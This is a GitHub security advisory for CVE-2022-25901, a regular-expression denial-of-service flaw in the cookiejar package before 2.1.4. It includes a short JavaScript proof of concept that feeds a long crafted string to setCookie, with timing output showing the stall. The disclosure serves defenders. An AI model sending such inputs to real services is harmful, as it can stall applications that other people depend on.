GitHub Advisoryadvisory · npm, Maven

GHSA-h452-7996-h45h cookiejar Regular Expression Denial of Service via Cookie.parse function

MEDIUM Published 2023-01-18 Modified 2025-02-13 Official page ↗
Aliases
CVE-2022-25901
Ecosystem
npm, Maven
Packages
cookiejar, org.webjars.npm:cookiejar
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weaknesses
CWE-1333
Reviewed
2023-01-23

Affected packages

• npm cookiejar: < 2.1.4 → fixed in 2.1.4 • Maven org.webjars.npm:cookiejar: <= 2.1.3 (no fix yet)

Description

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers. Proof of concept: ``` ts\nconst { CookieJar } = require("cookiejar"); const jar = new CookieJar(); const start = performance.now(); const attack = "a" + "t".repeat(50_000); jar.setCookie(attack); console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`); ``` ``` CookieJar.setCookie(): 2963.214399999939ms ```

Related

Alias · CVE (1)

  • CVE-2022-25901 Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse… vulnerability

Weakness · CWE (1)

  • CWE-1333 Inefficient Regular Expression Complexity weakness

References